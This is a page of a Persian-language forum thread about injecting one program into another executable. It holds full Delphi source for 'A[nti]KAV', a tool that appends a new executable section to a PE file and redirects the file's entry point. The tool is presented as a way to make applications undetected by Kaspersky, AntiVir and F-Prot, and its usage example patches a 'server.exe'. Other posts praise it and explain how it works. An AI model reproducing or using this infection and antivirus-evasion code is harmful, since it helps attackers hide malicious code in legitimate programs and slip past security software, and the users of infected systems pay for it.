تبلیغات :
آکوستیک ، فوم شانه تخم مرغی، صداگیر ماینر ، یونولیت
دستگاه جوجه کشی حرفه ای
فروش آنلاین لباس کودک
خرید فالوور ایرانی
خرید فالوور اینستاگرام
خرید ممبر تلگرام

[ + افزودن آگهی متنی جدید ]




صفحه 2 از 2 اولاول 12
نمايش نتايج 11 به 14 از 14

نام تاپيک: آیا این امکان وجود دارد که برنامه ام را به طور کامل به فایل هدف تزریق کنم

  1. #11
    پروفشنال Morteza_SOS's Avatar
    تاريخ عضويت
    Apr 2006
    پست ها
    577

    پيش فرض

    NoneForce ، براوو ، خیلی جامع بود ...
    من که دارم مو به مو می خونم خیلی خوشم اومده ...
    راستی اگه سورس دلفی برای این دسته از برنامه ها داری دریغ نکن .

  2. #12
    داره خودمونی میشه
    تاريخ عضويت
    Apr 2007
    پست ها
    76

    پيش فرض

    من از این چیزها تو ارشیوم زیاد دارم باید بگردم پیدا کنم فقط یه کم طول میکشه

    این کد برای اضافه کردن یک سکشن به یک فایل دیگه


    This program bypass: KAV, AntiVir, F-Prot, and some other AVs ...
    Mostly users still think KAV is still best AV, but times changed, i made this
    Application to show users that KAV became (or was always) very bad.
    A simple EntryPoint move can make a Application undetected. That isnt secure
    anymore, people should better begin to use AVs with Heuristics like NOD32, VBA32,
    BitDefender and make their PCs more secure.

    THIS IS A OPENSOURCE PROJECT, LEARN FROM IT OR DIE TRYIN

    }

    program AKAV;

    {$APPTYPE CONSOLE}

    uses
    Windows;

    function AddSection(FileName: String; SectionName: String): Boolean;
    const
    SectionCode: Array[0..6] of Byte = (
    $B8, $00, $00, $00, $00, // MOV EAX, $00000000
    $FF, $E0); // JMP EAX
    var
    i: ShortInt;
    hFile: THandle;
    DosHeader: TImageDosHeader;
    NtHeaders: TImageNtHeaders;
    SectionHeader, NewSection: TImageSectionHeader;
    dwOldEntryPoint, dwReadBytes, dwWrittenBytes: DWORD;
    begin
    Result := False;
    // Read DOS Header
    hFile := CreateFile(PChar(FileName), GENERIC_ALL, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
    if hFile = 0 then
    begin
    CloseHandle(hFile);
    Exit;
    end;
    SetFilePointer(hFile, 0, nil, FILE_BEGIN);
    ReadFile(hFile, DosHeader, sizeof(DosHeader), dwReadBytes, nil);
    if dwReadBytes = sizeof(DosHeader) then
    begin
    // Read Nt Header
    SetFilePointer(hFile, DosHeader._lfanew, nil, FILE_BEGIN);
    ReadFile(hFile, NtHeaders, sizeof(NtHeaders), dwReadBytes, nil);
    if dwReadBytes = sizeof(NtHeaders) then
    begin
    // Read Section Header
    SetFilePointer(hFile, sizeof(SectionHeader) * (NtHeaders.FileHeader.NumberOfSections -1), nil, FILE_CURRENT);
    ReadFile(hFile, SectionHeader, sizeof(SectionHeader), dwReadBytes, nil);
    if dwReadBytes = sizeof(SectionHeader) then
    begin
    // New Section
    if SectionName = '' then
    SectionName := '.EDI';
    // Section Name
    for i := 0 to 7 do
    NewSection.Name[i] := Byte(SectionName[i +1]);
    // The options of the Section
    NewSection.VirtualAddress := NtHeaders.OptionalHeader.SizeOfImage;
    NewSection.Misc.VirtualSize := $200;
    NewSection.SizeOfRawData := (NewSection.VirtualAddress div NtHeaders.OptionalHeader.FileAlignment +1) *
    NtHeaders.OptionalHeader.FileAlignment - NtHeaders.OptionalHeader.SizeOfImage;
    NewSection.PointerToRawData := SectionHeader.SizeOfRawData + SectionHeader.PointerToRawData;
    NewSection.Characteristics := $E0000020;
    Inc(NtHeaders.FileHeader.NumberOfSections);

    // Write new Section
    WriteFile(hFile, NewSection, sizeof(NewSection), dwWrittenBytes, nil);
    if dwWrittenBytes = sizeof(NewSection) then
    begin
    // New Entrypoint
    dwOldEntryPoint := NtHeaders.OptionalHeader.AddressOfEntryPoint + NtHeaders.OptionalHeader.ImageBase;
    NtHeaders.OptionalHeader.AddressOfEntryPoint := NewSection.VirtualAddress;
    // change the SectionCode "EntryPoint"
    PDWORD(DWORD(@SectionCode) +1)^ := dwOldEntryPoint;
    // write the new sizeofimage
    NtHeaders.OptionalHeader.SizeOfImage := NtHeaders.OptionalHeader.SizeOfImage + NewSection.Misc.VirtualSize;
    SetFilePointer(hFile, DosHeader._lfanew, nil, FILE_BEGIN);
    WriteFile(hFile, NtHeaders, sizeof(NtHeaders), dwWrittenBytes, nil);
    if dwWrittenBytes = sizeof(NtHeaders) then
    begin
    // write the new section
    SetFilePointer(hFile, GetFileSize(hFile, nil), nil, FILE_BEGIN);
    WriteFile(hFile, SectionCode, NewSection.Misc.VirtualSize, dwWrittenBytes, nil);
    if dwWrittenBytes = NewSection.Misc.VirtualSize then
    begin
    CloseHandle(hFile);
    Result := True;
    end else
    CloseHandle(hFile);
    end else
    CloseHandle(hFile);
    end else
    CloseHandle(hFile);
    end else
    CloseHandle(hFile);
    end else
    CloseHandle(hFile);
    end else
    CloseHandle(hFile);
    end;

    begin
    WriteLn;
    WriteLn('A[nti]KAV by ErazerZ');
    WriteLn('5th January 2006');
    WriteLn('Web: [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ] );
    WriteLn('E-Mail: ErazerZ@gmail.com');
    WriteLn;
    if (ParamStr(1) <> '') then
    begin
    if AddSection(ParamStr(1), ParamStr(2)) then
    WriteLn('File is patched!')
    else
    WriteLn('Error while patching!');
    end else
    begin
    WriteLn('Usage:' +#9#9+ 'AKAV.exe <your Application''s path> <your Section Name>');
    WriteLn('Example:' +#9+ 'AKAV.exe "c:\server.exe" ".ErazerZ"');
    end;
    end.
    Last edited by ghoghnoose_dana; 10-08-2008 at 20:59.

  3. 2 کاربر از ghoghnoose_dana بخاطر این مطلب مفید تشکر کرده اند


  4. #13
    پروفشنال Morteza_SOS's Avatar
    تاريخ عضويت
    Apr 2006
    پست ها
    577

    پيش فرض

    می شه یه مقدار در مورد کد توضیح بدید ممنون می شم .
    اگه امکان داره سورس پروژه قرار بدید چون توی انجمن همه چیز به هم ریخته نمایش داده می شه .

  5. #14
    داره خودمونی میشه
    تاريخ عضويت
    Apr 2007
    پست ها
    76

    پيش فرض

    در ابتدا این کد میاد فایل رو برای خوندن باز میکنه با createfile بعد با خوندن مقادیر dosheaderو ntheader میاد تعداد سکشنها و نقطه شروع برنامه رو پیدا میکنه و با دستکاری بخشهایی از اون که مربوط به ادرس شروع و طول هر سکشن هست یک سکشن برای کد خودش ایجاد میکنه و با writefile اطلاعات رو به سکشن جدید انتقال میده و با تغییر image size و سکشن مربوط به کد و تغییر نقطه شروعبرنامه با عث اجرای کد میشه

    اینم یه disasemble به زبان دلفی
    کد:
    برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

  6. این کاربر از ghoghnoose_dana بخاطر این مطلب مفید تشکر کرده است


صفحه 2 از 2 اولاول 12

Thread Information

Users Browsing this Thread

هم اکنون 1 کاربر در حال مشاهده این تاپیک میباشد. (0 کاربر عضو شده و 1 مهمان)

User Tag List

قوانين ايجاد تاپيک در انجمن

  • شما نمی توانید تاپیک ایحاد کنید
  • شما نمی توانید پاسخی ارسال کنید
  • شما نمی توانید فایل پیوست کنید
  • شما نمی توانید پاسخ خود را ویرایش کنید
  •